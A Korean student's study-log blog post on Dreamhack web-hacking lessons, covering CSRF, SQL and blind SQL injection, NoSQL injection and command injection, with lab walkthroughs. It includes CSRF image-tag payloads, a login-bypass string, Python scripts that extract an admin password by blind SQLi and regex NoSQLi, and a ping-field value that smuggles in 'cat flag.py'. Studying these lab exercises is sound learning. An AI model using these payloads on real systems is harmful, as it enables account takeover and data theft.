카테고리 없음

☁ Dreamhack 2주차 학습 (CSRF, SQL Injection, Command Injection)

rinnw 2025. 3. 24. 16:05

Web Hacking  -  Cross-site Request Forgery (CSRF)


 

ClientSide: CSRF


CSRF (Cross Site Request Forgery): 사이트 간 요청 위조. 이용자가 자신의 의지와는 무관하게 공격자가 의도한 행위를 특정 웹사이트에 요청하게 만드는 공격.

 

HTML img 태그 공격 코드 예시:

<img src='http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337' width=0px height=0px>

 

Javascript 공격 코드 예시: 

window.open('http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337');  /* 새 창 띄우기 */
location.href = 'http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337';  /* 현재 창 주소 옮기기 */
location.replace('http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337');

 

XSS와 CSRF 비교

  • 공통점: 두 개의 취약점은 모두 클라이언트를 대상으로 함, 이용자가 악성 스크립트가 포함된 페이지에 접속하도록 유도해야 함.
  • 두 개의 취약점은 공격에 있어 서로 다른 목적을 가짐.
    XSS는 인증 정보인 세션 및 쿠키 탈취를 목적으로 하는 공격, 공격할 사이트의 오리진에서 스크립트를 실행.
    CSRF는 이용자가 임의 페이지에 HTTP 요청을 보내는 것을 목적으로 하는 공격. 공격자는 악성 스크립트가 포함된 페이지에 접근한 이용자의 권한으로 웹 서비스의 임의 기능을 실행할 수 있음.

 

Exercise: CSRF

 

 

엔드포인트 (엔드포인트란, 웹 서버에서 특정 URL로 요청이 들어왔을 때 실행되는 기능을 담당하는 코드.)

  •  /: 인덱스 페이지
  •  /vuln: 이용자가 입력한 값 출력. XSS가 발생할 수 있는 키워드는 필터링.
    ( 취약점 - frame, script, on 세 키워드를 제외하고는 사용가능함. )
  •  /memo: 이용자에게 메모를 남길 수 있고, 작성한 메모를 출력.
  •  /admin/notice_flag: 메모에 FLAG를 작성하는 기능. 로컬호스트에서 접속해야 하고, 사이트 관리자만 사용할 수 있음
    (로컬호스트: 컴퓨터 네트워크에서 사용하는 호스트명, 자기 자신의 컴퓨터 의미)
  •  /flag: 전달된 URL에 임의 이용자가 접속하게끔 함. (GET, POST)

익스플로잇 -
공격 코드가 삽입된  /vuln 페이지를 다른 이용자가 방문할 경우, 의도하지 않은 페이지로 요청을 전송하는 시나리오. 플래그를 얻기 위해 /admin/notice_flag 페이지를 로컬 호스트에서 접근. 이를 위해 
CSRF 공격으로 /vuln 페이지를 방문하는 로컬호스트 이용자가 /admin/notice_flag 페이지로 요청을 전송하도록 공격 코드를 작성. (페이지 방문 위해) 

 

드림핵 툴즈 서비스: https://tools.dreamhack.games/
랜덤 한 URL 제공.

csrf-1
여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다. CSRF 취약점을 이용해 플래그를 획득하세요.
flag에 <img src="/admin/notice_flag?userid=admin" /> 제출

memo에 flag 출력

 

 


 

Exercise: CSRF-2

 

문제 목표: CSRF 통해서 관리자 계정으로 로그인

 

엔드포인트

  •  / , /vuln , /flag
  •  /login: 로그인 페이지를 처리하며, 사용자가 유효한 사용자 이름과 비밀번호를 제출하면 세션을 설정하고 사용자를 다른 페이지로 리디렉션 하는 역할. (GET, POST)
  •  /change_password: 비밀번호 변경을 처리하며, 사용자의 세션을 확인한 후, 새로운 비밀번호를 설정.
    값을 가져와서 pw변수에 저장, session_id 변수에 저장함. users [usename]=pw 세션 통해서 확인된 사용자의 비밀번호를 새로운 비밀번호 pw로 변경.

익스플로잇 -
 /flag 페이지에서 admin의 session_id가 저장되므로 공격 코드가 삽입된 /flag 페이지에서  admin의 pw를 변경하기 위해 /change_password 페이지를 접근.
 이를 위해 CSRF 공격으로 /flag 페이지를 방문하는 이용자가 /change_password 페이지로 요청을 전송하도록 공격 코드를 작성해야 함.


공격 코드:

<img src="/change_password?pw=admin">

 

csrf-2
여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다.
CSRF 취약점을 이용해 플래그를 획득하세요.

<img src="/change_password?pw=admin"> 제출

 

후에 admin으로 다시 로그인

 

 


Web Hacking  -  SQL Injection


 

Background: Relational DBMS

 

 

DBMS (DataBase Management System): 데이터베이스를 관리하는 애플리케이션

  • 관계형 (Relational, RDBMS): MySQL, MariaDB, PostgreSQL, SQLite (행과 열의 집합인 테이블 형식)
  • 비관계형  (Non-Relational): MongoDB, CouchDB, Redis (키-값 (Key-Value) 형태)

 

 

SQL (Structured Query Language): RDBMS의 데이터를 정의하고 질의, 수정 등을 하기 위해 고안된 언어

  • DDL (Data Definition Language): 데이터를 정의하기 위한 언어. 데이터를 저장하기 위한 스키마, 데이터베이스의 생성/수정/삭제 등의 행위를 수행. (ex. CREATE)
  • DML (Data Manipulation Language): 데이터를 조작하기 위한 언어. 실제 데이터베이스 내에 존재하는 데이터에 대해 조회/저장/수정/삭제 등의 행위를 수행. (ex. INSERT, SELECT, UPDATE)
  • DCL (Data Control Language): 데이터베이스의 접근 권한 등의 설정을 하기 위한 언어. 데이터베이스 내에 이용자의 권한을 부여하기 위한 GRANT와 권한을 박탈하는 REVOKE가 대표적.

 


 

ServerSide: SQL Injection

 

인젝션 (Injection): 이용자의 입력값이 애플리케이션의 처리 과정에서 구조나 문법적인 데이터로 해석되어 발생하는 취약점

SQL Injection: SQL 쿼리에 이용자의 입력 값을 삽입해 이용자가 원하는 쿼리를 실행할 수 있는 취약점

Blind SQL Injection: 데이터베이스 조회 후 결과를 직접적으로 확인할 수 없는 경우 사용할 수 있는 SQL injection 공격 기법(참/거짓 반환 결과로 데이터를 획득, 스무고개 게임과 유사)

# 첫 번째 글자 구하기
SELECT * FROM user_table WHERE uid='admin' and substr(upw,1,1)='a'-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and substr(upw,1,1)='b'-- ' and upw=''; # True
# 두 번째 글자 구하기
SELECT * FROM user_table WHERE uid='admin' and substr(upw,2,1)='d'-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and substr(upw,2,1)='e'-- ' and upw=''; # True
  • substr: 문자열에서 지정한 위치부터 길이까지의 값을 가져옴. 결과로 참/거짓을 판단할 수 있음.

 

requests 모듈: 해당 모듈은 다양한 메소드를 사용해 HTTP 요청을 보낼 수 있으며 응답 또한 확인할 수 있음.

 


 

Exercise: SQL Injection    (simple sqli 문제 풀이)

 

  • 기능:
    /login: 입력받은 ID/PW를 데이터베이스에서 조회하고 이에 해당하는 데이터가 있는 경우 로그인을 수행.

  • 구조:
userid userpassword
guest guest
admin 랜덤 16바이트 문자열을 Hex 형태로 표현 (32바이트)
  • 문제 풀이 접근 방법 1: 관리자 계정의 비밀번호를 모른 채로 로그인을 우회하여 풀이하는 방법
  • 문제 풀이 접근 방법 2: 관리자 계정의 비밀번호를 알아내고 올바른 경로로 로그인하는 방법

 

  • 내부적으로 처리된 SQL 쿼리:
SELECT * FROM users WHERE userid="입력값" AND userpassword="입력값"

 

  • 만약 여기서 userid에 admin"-- 를 입력했을 때:  (-- 뒤에 주석처리가 된다)
SELECT * FROM users WHERE userid="admin"-- " AND userpassword="DUMMY"

 

 

 

ssimple_sqli  (접근 방법 1)

로그인 서비스입니다. SQL INJECTION 취약점을 통해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.
공격 쿼리문으로 로그인 (비밀번호는 아무거나)

 

 


 

Exercise: Blind SQL Injection

 

  • 기능:
    /login: 이용자에게 ID와 비밀번호를 입력받고, 이를 데이터베이스에서 조회하여 이용자를 인증.

BSQLi (Blind SQL Injection)

  • 비밀번호를 구성할 수 있는 문자를 출력 가능한 아스키 문자로 제한했을 때, 한 자리에 들어갈 수 있는 문자의 종류는 94 (0x20 ~ 0x7E)개. (쿼리를 잘 이용하고 탐색 알고리즘을 적용하면 약 65개로 축소됨.

  • 비밀번호 길이를 구하는 코드 실행 결과:
$ ./ex.py 23742
Length of the admin password is: [redacted]

 

  • 비밀번호 공격:
$ ./ex.py 23742
Length of the admin password is: [redacted]
Finding password:
1. 0
2. 0e
3. 0ec
...
Password of the admin is: [redacted]

 

 

 

ssimple_sqli  (접근 방법 2)

로그인 서비스입니다. SQL INJECTION 취약점을 통해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.


비밀번호 길이파악 코드:
#!/usr/bin/python3
import requests
import sys
from urllib.parse import urljoin


class Solver:
    """Solver for simple_SQLi challenge"""
    
    # initialization
    def __init__(self, port: str) -> None:
        self._chall_url = f"http://host3.dreamhack.games:19987/"
        self._login_url = urljoin(self._chall_url, "login")
        
    # base HTTP methods
    def _login(self, userid: str, userpassword: str) -> bool:
        login_data = {
            "userid": userid,
            "userpassword": userpassword
        }
        resp = requests.post(self._login_url, data=login_data)
        return resp

    # base sqli methods
    def _sqli(self, query: str) -> requests.Response:
        resp = self._login(f"\" or {query}-- ", "hi")
        return resp
        
    def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
        while 1:
            mid = (low+high) // 2
            if low+1 >= high:
                break
            query = query_tmpl.format(val=mid)
            if "hello" in self._sqli(query).text:
                high = mid
            else:
                low = mid
        return mid
        
    # attack methods
    def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
        query_tmpl = f"((SELECT LENGTH(userpassword) WHERE userid=\"{user}\")<{{val}})"
        pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
        return pw_len
        
    def solve(self):
        pw_len = self._find_password_length("admin")
        print(f"Length of admin password is: {pw_len}")
        
        
if __name__ == "__main__":
    port = sys.argv[1] if len(sys.argv) > 1 else "19987"
    solver = Solver(port)
    solver.solve()​

실행 결과

적혀있던 코드에서, 링크와 아래 코드를 수정함. ( 자가 없을 경우를 대비해 기본값을 설정해 에러를 방지)
port = sys.argv[1] if len(sys.argv) > 1 else "19987"​



비밀번호 알아내는 코드:
#!/usr/bin/python3
import requests
import sys
from urllib.parse import urljoin


class Solver:
    """Solver for simple_SQLi challenge"""

    # initialization
    def __init__(self, port: str) -> None:
        self._chall_url = f"http://host3.dreamhack.games:19987/"
        self._login_url = urljoin(self._chall_url, "login")

    # base HTTP methods
    def _login(self, userid: str, userpassword: str) -> requests.Response:
        login_data = {"userid": userid, "userpassword": userpassword}
        resp = requests.post(self._login_url, data=login_data)
        return resp

    # base sqli methods
    def _sqli(self, query: str) -> requests.Response:
        resp = self._login(f'" or {query}-- ', "hi")
        return resp

    def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
        while 1:
            mid = (low + high) // 2
            if low + 1 >= high:
                break
            query = query_tmpl.format(val=mid)
            if "hello" in self._sqli(query).text:
                high = mid
            else:
                low = mid
        return mid

    # attack methods
    def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
        query_tmpl = f'((SELECT LENGTH(userpassword) WHERE userid="{user}") < {{val}})'
        pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
        return pw_len

    def _find_password(self, user: str, pw_len: int) -> str:
        pw = ""
        for idx in range(1, pw_len + 1):
            query_tmpl = f'((SELECT SUBSTR(userpassword,{idx},1) WHERE userid="{user}") < CHAR({{val}}))'
            pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2F, 0x7E))
            print(f"{idx}. {pw}")
        return pw

    def solve(self) -> None:
        # Find the length of admin password
        pw_len = self._find_password_length("admin")
        print(f"Length of the admin password is: {pw_len}")
        # Find the admin password
        print("Finding password:")
        pw = self._find_password("admin", pw_len)
        print(f"Password of the admin is: {pw}")


if __name__ == "__main__":
    port = sys.argv[1] if len(sys.argv) > 1 else "19987"
    solver = Solver(port)
    solver.solve()​

 

실행 화면

 


 

Background: Non-Relational DBMS

 

NoSQL (Not Only SQL): SQL을 사용해 데이터를 조회/추가/삭제하는 관계형 데이터베이스(RDBMS)와 달리 SQL을 사용하지 않으며, 이에 따라 RDBMS와는 달리 복잡하지 않은 데이터를 다루는 것이 큰 특징이자 RDBMS와의 차이점. Redis, Dynamo, CouchDB, MongoDB 등 다양한 DBMS가 존재하기 때문에 각각의 구조와 사용 문법을 익혀야 한다는 단점이 있음.

RDBSM <-> NoSQL

 

MongoDB: 문서 지향 NoSQL 데이터베이스 중 하나, JSON 형태인 도큐먼트(Document)를 저장 

  • 스키마를 따로 정의하지 않아 각 컬렉션(Collection)에 대한 정의가 필요하지 않습니다.
  • JSON 형식으로 쿼리를 작성할 수 있습니다.
  • _id 필드가 Primary Key 역할을 합니다.

JSON (JavaScript Object Notation): 사람이 읽기 쉽고 기계가 파싱 하기 쉬운 경량의 데이터 교환 형식

 

컬렉션(Collection): 컬렉션은 데이터베이스의 하위에 속하는 개념으로, RDBMS의 테이블과 비슷함.

 

 

MongoDB 연산자:

  • Comparison
$eq 지정된 값과 같은 값을 찾음. (equal)
$in 배열 안의 값들과 일치하는 값을 찾음. (in)
$ne 지정된 값과 같지 않은 값을 찾음. (not equal)
$nin 배열 안의 값들과 일치하지 않는 값을 찾음. (not in)

 

  • Logical
$and 논리적 AND, 각각의 쿼리를 모두 만족하는 문서가 반환.
$not 쿼리 식의 효과를 반전 시킴. 쿼리 식과 일치하지 않는 문서를 반환.
$nor 논리적 NOR, 각각의 쿼리를 모두 만족하지 않는 문서가 반환.
$or 논리적 OR, 각각의 쿼리 중 하나 이상 만족하는 문서가 반환.

 

  • Element
$exists 지정된 필드가 있는 문서를 찾음.
$type 지정된 필드가 지정된 유형인 문서를 선택.

 

  • Evaluation
$and 쿼리 언어 내에서 집계 식을 사용할 수 있음.
$not 지정된 정규식과 일치하는 문서를 선택.
$nor 지정된 텍스트를 검색.

 

 

SQL, MongoDB 문법 비교

SELECT:
SELECT * FROM account;
SELECT * FROM account WHERE user_id="admin";
SELECT user_idx FROM account WHERE user_id="admin";​
db.account.find()

db.account.find(
  { user_id: "admin" }
)

db.account.find(
  { user_id: "admin" },
  { user_idx:1, _id:0 }
)​

INSERT:
INSERT INTO account(user_id,user_pw,) VALUES ("guest", "guest");​
db.account.insertOne(
  { user_id: "guest",user_pw: "guest" }
)

 

DELETE:

DELETE FROM account;
DELETE FROM account WHERE user_id="guest";
db.account.remove()

db.account.remove(
  {user_id: "guest"}
)


UPDATE:

UPDATE account SET user_id="guest2" WHERE user_idx=2;
db.account.updateOne(
  { user_idx: 2 },
  { $set: { user_id: "guest2" } }
)

 

 

Redis: 키-값(Key-Value)의 쌍을 가진 데이터를 저장, 메모리 기반의 DBMS (읽고 쓰는 작업을 다른 DBMS보다 빠르게 수행해, 다양한 서비스에서 임시 데이터를 캐싱하는 용도로 주로 사용)

( Redis 명령어 공식 문서: https://redis.io/commands )

 

데이터 조회 및 조작 명령어: 

GET GET key 데이터 조회
MGET MGET key [key ...] 여러 데이터를 조회
SET SET key value 새로운 데이터 추가
MSET MSET key value [key value ...] 여러 데이터를 추가
DEL DEL key [key ...] 데이터 삭제
EXISTS EXISTS key [key ...] 데이터 유무 확인
INCR INCR key 데이터 값에 1 더함
DECR DECR key 데이터 값에 1 뺌
INFO INFO [section] DBMS 정보 조회
CONFIG GET CONFIG GET parameter 설정 조회
CONFIG SET CONFIG SET parameter value 새로운 설정을 입력

 

 

 

CouchDB: MongoDB와 같이 JSON 형태인 도큐먼트(Document)를 저장. 웹 기반의 DBMS로, REST API 형식으로 요청을 처리. (아래는 각 메소드에 따른 기능 설명)

POST 새로운 레코드를 추가.
GET 레코드를 조회.
PUT 레코드를 업데이트.
DELETE 레코드를 삭제.

 

CouchDB의 특수 구성 요소:   (CouchDB API 공식 문서 - https://docs.couchdb.org/en/latest/api/index.html)

  • SERVER
/ 인스턴스에 대한 메타 정보를 반환.
/_all_dbs 인스턴스의 데이터베이스 목록을 반환.
/_utils 관리자페이지로 이동.

 

  • Database
/db 지정된 데이터베이스에 대한 정보를 반환.
/{db}/_all_docs 지정된 데이터베이스에 포함된 모든 도큐먼트를 반환.
/{db}/_find 지정된 데이터베이스에서 JSON 쿼리에 해당하는 모든 도큐먼트를 반환.

 

 


 

ServerSide: NoSQL Injection

 

 

MongoDB의 NoSQL Injection 취약점은 주로 이용자의 입력값에 대한 타입 검증이 불충분할 때 발생.

 

MongoDB 연산자:  (더 많은 연산자: https://docs.mongodb.com/manual/reference/operator/query/)

$expr 쿼리 언어 내에서 집계 식을 사용할 수 있음.
$regex 지정된 정규식과 일치하는 문서를 선택.
$text 지정된 텍스트를 검색.
$where JavaScript 표현식을 만족하는 문서와 일치.

 

  • $regex 예시:
> db.user.find({upw: {$regex: "^g"}})
  • $where 예시:
> db.user.find({$where:"return 1==1"})
  • substring: (upw의 첫 글자를 비교해 데이터를 알아내는 쿼리)
> db.user.find({$where: "this.upw.substring(0,1)=='g'"})
  • Sleep 함수를 통한 Time based Injection: 
    sleep 함수 - 표현식과 함께 사용하면 지연 시간을 통해 참/거짓 결과를 확인할 수 있음. 
    (upw의 첫 글자를 비교하고, 해당 표현식이 참이라면 sleep(5000) 명령 때문에 데이터베이스가 5초 동안 멈추게 되는 코드)
db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`});
/*
/?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1
...
/?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
=> 시간 지연 발생.
*/
  • Error based Injection:
    에러를 기반으로 데이터를 알아내는 기법으로, 올바르지 않은 문법을 입력해 고의로 에러를 발생시킴.
    upw의 첫 글자가 'g' 문자인 경우 올바르지 않은 문법인 asdf를 실행하면서 에러가 발생.
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
error: {
	"$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",
	"code" : 16722
}
// this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
// this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음

 


 

Exercise: NoSQL Injection    (Mango 문제 풀이)

 

 

NoSQL Injection: NoSQL DBMS가 악의적인 쿼리를 실행하게 하는 공격 기법.

 

웹 서비스 분석:

  • 엔드 포인트: /login
  • admin, dh, admi라는 문자열이 있을 때 filter함수로 필터링됨.

 

취약점 분석:

  • string외에 다양한 형태의 object도 쿼리로 전달될 수 있음
  • uid와 upw 값을 별도의 검사 없이 MongoDB 쿼리에 그대로 사용하고 있어서 NoSQL Injection 공격이 발생할 수 있음.

 

익스플로잇: 

1. Blind NoSQL Injection Payload 생성: 
  $regex연산을 사용하면 정규표현식을 이용해 데이터를 검색할 수 있음.  upw가 일치하는 경우 uid, 아닌 경우 undefined 문자열이 출력되는 것을 통해 쿼리의 참과 거짓을 확인할 수 있음.

http://host1.dreamhack.games:13698/login?uid=guest&upw[$regex]=.*

 

2. filter 우회:
  정규표현식에서 임의 문자를 의미하는 .을 이용하여 쉽게 우회할 수 있음.

http://host1.dreamhack.games:13698/login?uid[$regex]=ad.in&upw[$regex]=D.{*

 

3. Exploit Code 작성:

  정규표현식을 통해 한 글자씩 알아내야 하므로, 여러 번 쿼리를 전달해야함. (익스플로잇 스크립트를 작성)

import requests, string

HOST = 'http://localhost'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'

flag = ''

for i in range(32):
    for ch in ALPHANUMERIC:
        response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
        if response.text == SUCCESS:
            flag += ch
            break
    
    print(f'FLAG: DH{{{flag}}}')

 

 

 

Mango

이 문제는 데이터베이스에 저장된 플래그를 획득하는 문제입니다. 플래그는 admin 계정의 비밀번호 입니다. 플래그의 형식은 DH{…} 입니다. {‘uid’: ‘admin’, ‘upw’: ‘DH{32alphanumeric}’}
python에 Exploit Code를 작성해 실행

 

실행 화면

 

 


 

Web Hacking  -  Command Injection


 

ServerSide: Command Injection

 

 다양한 웹 애플리케이션 제작용 언어는 시스템에 내장되어있는 프로그램들을 호출할 수 있는 함수를 지원함.  각 언어별 시스템 함수로는 PHP의 system, Node JS의 child_process, 파이썬의 os.system이 있음. 이러한 함수는 전달된 인자를 셸 프로그램에 전달해 명령어를 실행함.

시스템 함수를 사용하면 이미 설치된 소프트웨어들을 쉽게 이용할 수 있다는 장점이 있지만, 함수의 인자를 셸의 명령어로 전달한다는 점에서 치명적인 취약점(Command Injection)으로 이어짐.

 

인젝션 (Injection): 악의적인 데이터를 프로그램에 입력하여 이를 시스템 명령어, 코드, 데이터베이스 쿼리 등으로 실행되게 하는 기법. 웹 애플리케이션을 대상으로 하는 인젝션 공격은 SQL Injection, command injection등이 있음.

 

커맨드 인젝션 (Command Injection): 인젝션의 종류 중에서 이용자의 입력을 시스템 명령어로 실행하게 하는 취약점을 말함. 명령어를 실행하는 함수에 이용자가 임의의 인자를 전달할 수 있을 때 발생. 개발자는 이용자의 입력을 반드시 검사해야 하며, 되도록 system 관련 함수의 사용을 자제해야 함.

 

이는 리눅스 셸 프로그램이 지원하는 다양한 메타 문자 때문. 시스템 함수는 셸 프로그램에 명령어를 전달하여 실행하는데, 셸 프로그램은 다양한 메타 문자(아래에 설명)를 지원.

메타 문자 (Meta Character): 특수한 의미를 가진 문자.

 

  • `` - 명령어 치환
$ echo `echo theori`
theori
  • $() - 명령어 치환 (위와 다르게 중복 사용이 가능)
$ echo $(echo theori)
theori
  • && - 명령어 연속 실행: 한 줄에 여러 명령어를 사용하고 싶을 때 사용. 앞 명령어에서 에러가 발생하지 않아야 뒷 명령어를 실행.
$ echo hello && echo theori
hello
theori
  • || - 명령어 연속 실행: 한 줄에 여러 명령어를 사용하고 싶을 때 사용. 앞 명령어에서 에러가 발생해야 뒷 명령어를 실행.
$ cat / || echo theori
cat: /: Is a directory
theori
  • ; - 명령어 구분자: 한 줄에 여러 명령어를 사용하고 싶을 때 사용. ;은 단순히 명령어를 구분하기 위해 사용하며, 앞 명령어의 에러 유무와 관계 없이 뒷 명령어를 실행.
$ echo hello ; echo theori
hello
theori
  • - 파이프: 앞 명령어의 결과가 뒷 명령어의 입력으로 들어감.
$ echo id | /bin/sh
uid=1001(theori) gid=1001(theori) groups=1001(theori)

 

주목해야 할 것은, &&, ;, | 등을 사용하면 여러 개의 명령어를 연속으로 실행시킬 수 있다는 것 ( 따라서 공격자는 메타 문자를 통해 임의 명령어를 실행하여 셸을 획득할 수 있음.)

 


 

Exercise: Command Injection       ( command-injection-1 문제 풀이)

 

문제 목표: 서버 내부에 있는 flag.py 파일 내의 flag를 획득

  • /ping: 입력받은 특정 Host에 Ping 패킷 전송을 수행.

ping 페이지를 구성하는 코드 설명: 요청에서 host라는 이름의 폼 데이터를 가져옴. 가져온 host 값을 사용하여 ping 명령어를 실행. subprocess.check_output 함수를 사용하여 /bin/sh에서 cmd 명령어를 실행하고, 결과 출력을 변수 output에 저장. 다음과 같은 부가적 기능을 가지고 있음.

 

  • 명령어 실행 중 예외가 발생하지 않으면, 결과 출력을 UTF-8로 디코딩한 후 ping_result.html 템플릿과 함께 렌더링하여 반환.
  • 만약 명령어 실행 시간이 5초를 초과하면 subprocess.TimeoutExpired 예외가 발생하며, Timeout ! 메시지와 함께 ping_result.html 템플릿을 렌더링하여 반환.
  • 명령어 실행 중 오류가 발생하면 subprocess.CalledProcessError 예외가 발생하며, 해당 오류 메시지와 함께 ping_result.html 템플릿을 렌더링하여 반환.

 

command-injection-1

특정 Host에 ping 패킷을 보내는 서비스입니다.
Command Injection을 통해 플래그를 획득하세요. 플래그는 flag.py에 있습니다.
개발자 도구에서 <input type="text" class="form-control" id="Host" placeholder="8.8.8.8" name="host" pattern="[A-Za-z0-9.]{5,20}" required=""> 확인 (필터링 검사)

 

<input type="text" class="form-control" id="Host" placeholder="8.8.8.8" name="host" required=""> 로 수정 (필터링 제거)

 

Host에 8.8.8.8"; cat flag.py # 입력 후 플래그 획득

 

 

 

(이 내용은 Dreamhack 강의를 참고하여 학습한 것입니다.)